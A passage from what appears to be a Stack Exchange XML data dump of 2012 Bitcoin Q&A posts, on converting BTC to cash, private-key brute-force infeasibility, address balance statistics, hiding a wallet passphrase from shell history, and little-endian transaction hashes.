rel=&quot;nofollow&quot;&gt;http://bitcoin-otc.com&lt;/a&gt; ) maintains a 'reputation' system that could be considered analogous to a credit score. It's a measure of your 'trustworthiness' in the context of bitcoin transactions. If you have very high ratings on #bitcoin-otc, it's likely you'll find someone willing to make you a bitcoin loan.  &lt;/p&gt;&#xA;" OwnerUserId="1010" LastActivityDate="2012-02-03T19:21:56.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2844" PostTypeId="1" CreationDate="2012-02-04T03:10:21.350" Score="26" ViewCount="369210" Body="&lt;p&gt;Can you eventually hold the bitcoins in your hand, like real cash dollars or euros or something? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone through all the service previews and introduction videos (actually, a video), and didn't see anything about this particular point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have a credit card, and I'm in a country where banking services aren't so profound and  people don't use credit cards (Libya). Does a Bitcoin account rely on having a credit card, and will the coins you gather be added to your bank account?&lt;/p&gt;&#xA;" OwnerUserId="1022" LastEditorUserId="59539" LastEditDate="2017-09-09T03:45:34.983" LastActivityDate="2017-09-09T03:45:34.983" Title="How can I change BTC into normal cash?" Tags="|exchanges|currencies|" AnswerCount="11" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2845" PostTypeId="2" ParentId="2844" CreationDate="2012-02-04T03:29:40.080" Score="3" Body="&lt;p&gt;If you mean physical bitcoins you can carry, there is:&#xA;&lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.casascius.com/&lt;/a&gt;&#xA;(Beware, this is not safe anymore : &lt;a href=&quot;http://codinginmysleep.com/casascius-physical-bitcoins-cracked-at-defcon/&quot; rel=&quot;nofollow&quot;&gt;http://codinginmysleep.com/casascius-physical-bitcoins-cracked-at-defcon/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't quite understand the other parts of your question. Bitcoin don't rely on having a credit card nor having a bank account. &lt;a href=&quot;https://www.bitinstant.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitinstant.com/&lt;/a&gt; allow you to fund your exchange account with just cash.&lt;/p&gt;&#xA;" OwnerUserId="74" LastEditorUserId="-1" LastEditDate="2013-10-23T19:19:46.343" LastActivityDate="2013-10-23T19:19:46.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2846" PostTypeId="2" ParentId="2844" CreationDate="2012-02-04T03:36:52.070" Score="2" Body="&lt;p&gt;Bitcoins have no central authority. There is no bank required. All Bitcoins are digital. You need only a computer (a PC, Smartphone, etc!) to use Bitcoins. There's no need to have physical coins or bills. That said there are some initiatives to offer physical coins for example &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.casascius.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://www.weusecoins.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.weusecoins.com/&lt;/a&gt; and &lt;a href=&quot;http://lovebitcoins.org/&quot; rel=&quot;nofollow&quot;&gt;http://lovebitcoins.org/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( You could print the secret information that you can use your Bitcoin with, but it is not quite the same as cash. You could even get bank notes (redeemable Bitcoin &quot;vouchers&quot;) from a trusted party. That is pretty much what cash is. You would also take a lot of unnecessary risk, which could give you the authentic cash experience. )&lt;/p&gt;&#xA;" OwnerUserId="909" LastEditorUserId="909" LastEditDate="2014-07-08T21:11:00.903" LastActivityDate="2014-07-08T21:11:00.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2847" PostTypeId="1" CreationDate="2012-02-04T06:32:55.580" Score="47" ViewCount="77286" Body="&lt;p&gt;I am doing a presentation on Bitcoins and I was looking for some calculations to make people feel safe about the private key encryption.  Please first answer, how long in bytes the private key is, then how many combinations of numbers it will contain, and then what is the fastest computer or network of supercomputers and how long it would take to crack a private key using that computer.  I think the result would be very educational based on my own calculations.  Thank you.&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2022-06-09T19:03:02.503" Title="How long would it take a large computer to crack a private key?" Tags="|security|encryption|" AnswerCount="8" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2849" PostTypeId="2" ParentId="2828" CreationDate="2012-02-04T09:20:24.677" Score="29" Body="&lt;p&gt;I calculated the answer by starting with &lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot;&gt;Gavin's &quot;bitcointools&quot;&lt;/a&gt; and modifying it to track account balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I found.  Each line shows the number of addresses after the specified block was found, at the end of each month.  So the 1st line is saying that after block 2543 was found at the end of Jan 2009, there were 2,439 funded addresses, and all 2,569 were 'active' in January 2009.  The 'active' number is the number of addresses involved in a transaction in the preceding month, and can be bigger than the number of addresses which remain funded at the end of that month.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-block  --date--  --total--   ---used--%total-   -active---%total---%used-&#xA;  2543  Jan 2009      2,569     2,439 (94.94%)     2,569  100.00%  105.33%&#xA;  5923  Feb 2009      5,975     5,646 (94.49%)     3,447   57.69%   61.05%&#xA;  9389  Mar 2009      9,444     8,868 (93.90%)     3,486   36.91%   39.31%&#xA; 12831  Apr 2009     12,893    12,125 (94.04%)     3,495   27.11%   28.82%&#xA; 16214  May 2009     16,288    15,388 (94.47%)     3,424   21.02%   22.25%&#xA; 18450  Jun 2009     18,528    17,543 (94.68%)     2,267   12.24%   12.92%&#xA; 20375  Jul 2009     20,456    19,347 (94.58%)     1,973    9.65%   10.20%&#xA; 21939  Aug 2009     22,021    20,749 (94.22%)     1,639    7.44%    7.90%&#xA; 24098  Sep 2009     24,180    22,647 (93.66%)     2,212    9.15%    9.77%&#xA; 26224  Oct 2009     26,311    24,374 (92.64%)     2,231    8.48%    9.15%&#xA; 28441  Nov 2009     28,533    26,411 (92.56%)     2,262    7.93%    8.56%&#xA; 32489  Dec 2009     32,611    29,827 (91.46%)     4,420   13.55%   14.82%&#xA;&#xA;-block  --date--  --total--   ---used--%total-   -active---%total---%used-&#xA; 37493  Jan 2010     37,647    34,342 (91.22%)     5,304   14.09%   15.44%&#xA; 43096  Feb 2010     43,329    37,274 (86.03%)     7,009   16.18%   18.80%&#xA; 48297  Mar 2010     48,615    40,329 (82.96%)     6,308   12.98%   15.64%&#xA; 53875  Apr 2010     57,806    42,688 (73.85%)    10,839   18.75%   25.39%&#xA; 58815  May 2010     63,368    44,620 (70.41%)     6,762   10.67%   15.15%&#xA; 63561  Jun 2010     69,540    47,011 (67.60%)     7,056   10.15%   15.01%&#xA; 71436  Jul 2010     94,992    53,227 (56.03%)    27,957   29.43%   52.52%&#xA; 77452  Aug 2010    107,172    55,995 (52.25%)    14,162   13.21%   25.29%&#xA; 82997  Sep 2010    120,562    56,490 (46.86%)    16,883   14.00%   29.89%&#xA; 88892  Oct 2010    135,952    58,428 (42.98%)    18,921   13.92%   32.38%&#xA; 94801  Nov 2010    155,639    60,615 (38.95%)    22,307   14.33%   36.80%&#xA;100409  Dec 2010    176,326    65,622 (37.22%)    23,377   13.26%   35.62%&#xA;&#xA;-block  --date--  --total--   ---used--%total-   -active---%total---%used-&#xA;105570  Jan 2011    210,243    69,030 (32.83%)    37,989   18.07%   55.03%&#xA;111136  Feb 2011    267,542    78,813 (29.46%)    62,381   23.32%   79.15%&#xA;116038  Mar 2011    353,093    90,304 (25.58%)    92,321   26.15%  102.23%&#xA;121126  Apr 2011    443,112    99,090 (22.36%)    99,144   22.37%  100.05%&#xA;127865  May 2011    631,480   132,152 (20.93%)   203,052   32.15%  153.65%&#xA;134121  Jun 2011  1,061,590   196,975 (18.55%)   462,886   43.60%  235.00%&#xA;139035  Jul 2011  1,548,806   380,056 (24.54%)   531,002   34.28%  139.72%&#xA;143408  Aug 2011  1,930,979   487,833 (25.26%)   428,095   22.17%   87.75%&#xA;147565  Sep 2011  2,205,926   533,670 (24.19%)   318,294   14.43%   59.64%&#xA;151314  Oct 2011  2,411,298   546,269 (22.65%)   241,105   10.00%   44.14%&#xA;155451  Nov 2011  2,601,999   553,251 (21.26%)   225,012    8.65%   40.67%&#xA;160036  Dec 2011  2,768,500   568,177 (20.52%)   199,879    7.22%   35.18%&#xA;&#xA;-block  --date--  --total--   ---used--%total-   -active---%total---%used-&#xA;164780  Jan 2012  2,956,869   580,453 (19.63%)   236,927    8.01%   40.82%&#xA;165643  6 Feb 12  2,994,694   583,126 (19.47%)    62,300    2.08%   10.68%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the number of non-empty addresses has been around 600,000 since September 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of block 165643, the ten most common values for addresses to store were: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 0.00000000 (in 2411568 addresses)&#xA;50.00000000 (in   40631 addresses)&#xA; 0.00000001 (in   35921 addresses)&#xA; 0.05000000 (in   22806 addresses)&#xA; 0.00100000 (in   22439 addresses)&#xA; 0.02000000 (in   18160 addresses)&#xA; 0.01000000 (in   13178 addresses)&#xA; 1.00000000 (in   11636 addresses)&#xA; 0.00500000 (in    9502 addresses)&#xA; 0.00000002 (in    7628 addresses)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The next 43 most common values after that were the 43 values from 3 satoshis to 45 satoshis, with between 5472 and 5799 addresses having each value.&#xA;I don't know what's special about 0.00000045 and not 0.00000046, but only one other value with a non-zero 8th decimal digit occurred in more than 25 addresses.  That was 0.00000703, which occurred in 101 different addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found a bunch of weird looking addresses, which nobody will ever be able to spend from.  &lt;a href=&quot;http://blockchain.info/address/871a40e5e61b96b6171f1b435788082edadda7a8&quot;&gt;http://blockchain.info/address/871a40e5e61b96b6171f1b435788082edadda7a8&lt;/a&gt; shows a lot of transactions sending tiny amounts to human-readable addresses, spelling out paragraphs of text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of block 165643, from Mon Feb 6 2012:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        2 addresses have 6 or more figures (100,000 &amp;lt;= x):&#xA;            105,258.88 12WmWuSQCgpEkPQTZ4ABijQaz6TCV69ZpE and&#xA;            105,555.00 1933phfhK3ZgFQNLGSDXvqCn32k2buXY8a&#xA;       70 addresses have 5 figures (10,000 &amp;lt;= x &amp;lt; 100,000)&#xA;      740 addresses have 4 figures (1,000 &amp;lt;= x &amp;lt; 10,000)&#xA;    6,552 addresses have 3 figures (100 &amp;lt;= x &amp;lt; 1,000)&#xA;   66,118 addresses have 2 figures (10 &amp;lt;= x &amp;lt; 100)&#xA;   50,638 addresses have 1 figure (1 &amp;lt;= x &amp;lt; 10)&#xA;  459,006 addresses have a fraction (0 &amp;lt; x &amp;lt; 1)&#xA;2,411,568 addresses have 0 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-06T23:21:56.907" LastActivityDate="2012-02-06T23:21:56.907" CommentCount="7" CommunityOwnedDate="2012-02-06T23:21:56.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="2850" PostTypeId="2" ParentId="2844" CreationDate="2012-02-04T10:19:28.577" Score="3" Body="&lt;p&gt;What you are looking for is likely a person-to-person exchange where you provide bitcoins and in exchange you get EURO currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there is some of this happening in various places, it is not found everywhere.  There are no buyers or sellers listing Libya, ...yet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://localbitcoins.com/country/ly&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/country/ly&lt;/a&gt;&#xA;Offering to exchange bitcoins to cash and vice-versa can be an income-generating activity, though in many areas doing so requires licensing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But where there's a will there's a way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, here's a list of various methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Selling_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-07T16:43:56.237" LastActivityDate="2012-10-07T16:43:56.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2851" PostTypeId="2" ParentId="2847" CreationDate="2012-02-04T10:19:41.867" Score="19" Body="&lt;p&gt;A Bitcoin private key is a random 256-bit number. However, the public key reveals some information about the private key. The best known algorithms for breaking ECDSA require O(sqrt(n)) operations. That means 2^128 operations would be needed to break a Bitcoin account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The largest ECDSA key broken to date of the type that Bitcoin uses was 112 bits long. A Bitcoin account is more than 4,000 billion billion times harder to break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only realistic risk would be quantum computing.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-02-04T10:19:41.867" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2852" PostTypeId="2" ParentId="2847" CreationDate="2012-02-04T17:15:39.950" Score="32" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how long in bytes the private key is&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;32 bytes, or 256 bits&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;then how many combinations of numbers it will contain&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are 2^256 different private keys.  That's a little larger than a 1 followed by 77 zeroes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;what is the fastest computer or network of supercomputers&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At its peak around August 2011, the Bitcoin network was checking 15 trillion sha256 hashes per second.  (See &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;noreferrer&quot;&gt;http://bitcoin.sipa.be/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how long it would take to crack a private key using that computer&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If we assume it takes the same time to run an ECDSA operation as it takes to check an sha256 hash (it takes much longer), and we use an optimisation that allows us to only need 2^128 ECDSA operations, then the time needed can be calculated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; pow(2,128) / (15 * pow(2,40)) / 3600 / 24 / 365.25 / 1e9 / 1e9&#xA;0.6537992112229596&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's 0.65 billion billion years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a very conservative estimate for the time taken to break one single Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: it was pointed out that computers tend to get exponentially faster over time, according to &lt;a href=&quot;http://en.wikipedia.org/wiki/Moore&amp;#39;s_law&quot; rel=&quot;noreferrer&quot;&gt;Moore's Law&lt;/a&gt;.  Assuming computing speed doubles every year (Moore's law says 2 years, but we'll err on the side of caution), then in 59 years it'll only take 1.13 years. So your coins are safe for the next 60 years without a change to the algorithms used to protect the blockchain. However, I would expect the algorithms to be changed long before it's feasible to break the protection they provide.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="1652" LastEditDate="2018-05-05T20:48:44.993" LastActivityDate="2018-05-05T20:48:44.993" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="2853" PostTypeId="2" ParentId="863" CreationDate="2012-02-04T19:37:20.227" Score="2" Body="&lt;p&gt;Any large enough transaction should move the price, even if it is somehow &quot;off the grid&quot; though in that case it may move the price later. This would also apply with any other forex trade the difference is that the amount of liquidity in the bitcoin market is by comparison very small. To buy $100,000 in bitcoin would probably be a very large part of a day's trading, while in a market like say EURUSD you could trade $100,000,000 without it being a particularly huge transaction. It is just about the ratio of the size of the trade vs the entire market.&lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2012-02-04T19:37:20.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2854" PostTypeId="2" ParentId="2603" CreationDate="2012-02-04T21:07:27.257" Score="0" Body="&lt;p&gt;I'd have to assume the video is copyrighted. The best way would be to download the show and clip it out, if you have the skill. &lt;/p&gt;&#xA;" OwnerUserId="1025" LastActivityDate="2012-02-04T21:07:27.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2855" PostTypeId="2" ParentId="2425" CreationDate="2012-02-05T05:03:02.867" Score="3" Body="&lt;p&gt;On the &lt;a href=&quot;http://bitcoin.it&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt;, there is rather complete list of validation checks that are done by the Satoshi client: &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules&quot; rel=&quot;nofollow&quot;&gt;Protocol_rules&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22tx.22_messages&quot; rel=&quot;nofollow&quot;&gt;section&lt;/a&gt; specifically about transaction checking as well.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="1307" LastEditDate="2013-06-05T21:06:06.437" LastActivityDate="2013-06-05T21:06:06.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2856" PostTypeId="2" ParentId="2603" CreationDate="2012-02-05T13:41:00.363" Score="5" Body="&lt;p&gt;Here is a &lt;a href=&quot;http://www.youtube.com/watch?v=-fazu1rgr9k&quot;&gt;link&lt;/a&gt; (YouTube) to the clip with the animation in it. I don't know if the actual animation on its own is available anywhere. &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2012-02-05T13:41:00.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2857" PostTypeId="2" ParentId="2844" CreationDate="2012-02-05T15:19:41.873" Score="2" Body="&lt;p&gt;You don't need a credit card to use Bitcoin, and you don't need any account anywhere. Just download the open source software from &lt;a href=&quot;http://www.bitcoin.org&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcoin.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin was born out of discontentment with traditional (central) banking, monetary, credit and transaction systems. That's why there is no central institution or authority behind Bitcoin that can administer you. How much one bitcoin is worth is entirely decided by free market dynamics within the community. That's possible because the supply of bitcoins is held artificially scarce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a currency from the people for the people. If you and your community want to build an economy upon it, you all can get some GPUs or FPGAs and start &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining&quot; rel=&quot;nofollow&quot;&gt;mining&lt;/a&gt;. It will be entirely up to initiatives in your community to build services that exchange to and from traditional (Libyan) currencies, to offer goods and services, or to manufacture physical coins similar to &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Casascius&lt;/a&gt; to put into circulation (although these are rather seen as a gimmick, it may be much more convenient to &lt;a href=&quot;http://www.youtube.com/watch?v=W6EucS5RS24&quot; rel=&quot;nofollow&quot;&gt;use mobile phone clients&lt;/a&gt; nowadays for meatspace trading). Even in US and Europe where it's most popular, Bitcoin is still in its infancy and this process is only just happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you happen to find Bitcoin inadequate to build a local economy upon, because you can't mine enough or you'd have to invest too much to &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;buy some&lt;/a&gt;, you may take a look at different concepts like &lt;a href=&quot;http://en.wikipedia.org/wiki/Ripple_monetary_system&quot; rel=&quot;nofollow&quot;&gt;Ripple&lt;/a&gt; et al. These concepts build upon trust relationships however, you'll lose some of the features like the global scope and the (relative) anonymity/pseudonymity that Bitcoin offers. Money is a tool to transfer value after all. There are currently no known tools or technologies that can solve all problems at once if you don't want a currency that is enforced by an authority.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2012-02-05T16:14:35.770" LastActivityDate="2012-02-05T16:14:35.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2858" PostTypeId="2" ParentId="1345" CreationDate="2012-02-05T18:48:28.463" Score="10" Body="&lt;p&gt;You can avoid having the password show up in the shell history like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ read x&#xA;password goes here&#xA;$ bitcoind walletpassphrase &quot;$x&quot; 60&#xA;$ x=&#xA;$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;read x&lt;/code&gt; command reads the next line of text you type and puts it into a shell variable &lt;code&gt;x&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;x=&lt;/code&gt; command overwrites the shell variable; otherwise $x will hold your password until you exit the current shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It shows up in the history like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2032  read x&#xA;2033  bitcoind walletpassphrase &quot;$x&quot; 60&#xA;2034  x=&#xA;2035  history&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expect the password will show up in /proc/ while the &lt;code&gt;bitcoind&lt;/code&gt; command is running, but that should be only for a fraction of a second.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-05T18:48:28.463" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2859" PostTypeId="1" AcceptedAnswerId="2860" CreationDate="2012-02-06T06:13:29.547" Score="42" ViewCount="14486" Body="&lt;p&gt;I'm trying to calculate the hash of transactions in bitcoin blocks, but I'm not getting the right answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the &lt;a href=&quot;http://blockexplorer.com/b/0&quot;&gt;genesis block has a single transaction&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I'm attempting to calculate its hash...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions are encoded as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a 32 bit 'nVersion'&lt;/li&gt;&#xA;&lt;li&gt;a list of input transactions, vin&lt;/li&gt;&#xA;&lt;li&gt;a list of output transactions, vout&lt;/li&gt;&#xA;&lt;li&gt;a 32 bit 'nLockTime'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For the transaction in the genesis block, these are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nVersion: &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;inputs&#xA;&lt;ul&gt;&#xA;&lt;li&gt;count: &lt;code&gt;01&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;1st input:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;prevout_hash: &lt;code&gt;0000000000000000000000000000000000000000000000000000000000000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;prevout_n: &lt;code&gt;ffffffff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;scriptSig: &lt;code&gt;4d&lt;/code&gt;:&lt;code&gt;04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;sequence: ffffffff&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;outputs&#xA;&lt;ul&gt;&#xA;&lt;li&gt;count: &lt;code&gt;01&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;1st output:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;value: &lt;code&gt;00f2052a01000000&lt;/code&gt; (hex(50*10^8) is 0000012a05f200, and bitcoin puts the bytes in reverse order)&lt;/li&gt;&#xA;&lt;li&gt;scriptPubKey: &lt;code&gt;43&lt;/code&gt;:&lt;code&gt;4104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;nLockTime: &lt;code&gt;00000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I string all those together end to end, I get 204 bytes: &lt;code&gt;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the sha256 hash of this gives &lt;code&gt;27362e66e032c731c1c8519f43063fe0e5d070db1c0c3552bb04afa18a31c6bf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking the sha256 hash of that hash gives &lt;code&gt;3ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the real transaction hash according to blockexplorer.com is &lt;code&gt;4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?  How can I get to the correct transaction hash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my working in Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import Crypto.Hash.SHA256 as hash, binascii&#xA;&amp;gt;&amp;gt;&amp;gt; tx = '01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000'&#xA;&amp;gt;&amp;gt;&amp;gt; len(binascii.unhexlify(tx))&#xA;204&#xA;&amp;gt;&amp;gt;&amp;gt; hash.new(binascii.unhexlify(tx)).digest().encode('hex_codec')&#xA;'27362e66e032c731c1c8519f43063fe0e5d070db1c0c3552bb04afa18a31c6bf'&#xA;&amp;gt;&amp;gt;&amp;gt; hash.new(hash.new(binascii.unhexlify(tx)).digest()).digest().encode('hex_codec')&#xA;'3ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-06T06:30:19.030" Title="How are transaction hashes calculated?" Tags="|transactions|hash|encoding|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2860" PostTypeId="2" ParentId="2859" CreationDate="2012-02-06T06:30:19.030" Score="39" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Taking the sha256 hash of that hash gives&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;3b a3 ed fd 7a 7b ..............&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;But the real transaction hash according to blockexplorer.com is&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;.............. 7b 7a fd ed a3 3b&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The answer I was getting was correct, but bytewise reversed.  I need to get used to Bitcoin using little-endian storage.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-06T06:30:19.030" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2861" PostTypeId="2" ParentId="1899" CreationDate="2012-02-06T08:18:13.450" Score="0" Body="&lt;p&gt;Bitcoin lending intermediaries could perform this function by paying interest on 3-month, 6-month and 1-year deposits; and then making loans for the same maturities. The lending intermediary would make the spread and they would also be assuming the credit risk of the borrower. These lending intermediaries would compete on reputation, overall financial soundness, rates paid for deposits, and flexibility of deposit durations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would be no lender of least resort and it would function very much like the free banking era where banks competed on the faith and soundness of their institution. The fittest will survive and prosper. Depositors beware.&lt;/p&gt;&#xA;" OwnerUserId="916" LastEditorUserId="916" LastEditDate="2012-02-06T08:33:52.603" LastActivityDate="2012-02-06T08:33:52.603" CommentCount="0" 